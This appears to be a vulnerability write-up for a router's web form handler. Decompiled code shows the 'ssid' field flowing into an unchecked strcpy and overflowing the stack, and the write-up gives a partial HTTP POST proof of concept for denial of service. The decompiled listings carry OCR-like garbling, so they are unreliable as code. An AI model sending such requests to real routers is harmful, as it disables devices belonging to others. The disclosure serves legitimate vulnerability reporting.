

```
46 v29[1] = 0;
 47
      memset(v34, 0, sizeof(v34));
48
      memset(v36, 0, sizeof(v36));
49
      V36[128] = 256;
50
     memset(v35, 0, sizeof(v35));
51
      v3 = webgetvar(a1, (int)"ssid", (int)&byte_1C2CF0);
 52
 53
      if (!*v3)
  54
     {
        printf("%s [%d] no ssid set, just return.\n", "form_fast_setting_wifi_set", 885);
55
 56
        return sub_2A714(a1, "login.html");
  57
 58
      v5 = v3;
      snprint+(s, 0x40u, "%s", v3);
 59
 60
      set_idx_to_mib("wlan0.0", "bss_ssid", s, v36);
      snprintf(v32, 0x40u, "%s-wifi5", v5);
SetValue("ssid_wifi5", v32);
 61
 62
      GetValue("bsd_enable", v29);
 63
      if ( atoi((const char *)v29) == 1 )
 64
  65
 66
        snprintf(v31, 0x40u, "%s", v5);
  67
      }
     else
  68
  69
 70
        cmsUtl_strcpy((int)v34, (int)v5);
 71
  72
          v6 = (_BYTE *)cmsUtl_strcasestr(v34, "2.4G");
 73
  74
          if (!v6)
```

Let's look at the <code>cmsUtl_strcpy</code> function. It only checks the null pointer case, and directly calls the strcpy function without checking the length of the copied string, which causes a <code>stack overflow</code>.

```
1|char * fastcall cmsUtl strcpy(char *a1, const char *a2)
 2 {
 3
    char *result; // r0
4
    if (a1)
 5
6
    {
 7
      if (!a2)
        a2 = "";
8
9
      result = strcpy(a1, a2);
10
11
    else
12
      j log log(3, "cmsUtl strcpy", 1229, "dest is NULL!");
13
      result = 0;
14
15
    return result;
16
17|}
```

So by POSTing the page <code>/goform/fast_setting_wifi_set</code> with long <code>ssid</code>, the attacker can easily cause a <code>Deny of Service(DoS)</code>.

POC

poc to DoS:

```
POST /goform/fast_setting_wifi_set HTTP/1.1
Host: 192.168.2.1
Connection: close
Accept: text/plain, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.2.1/main.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 4374
```

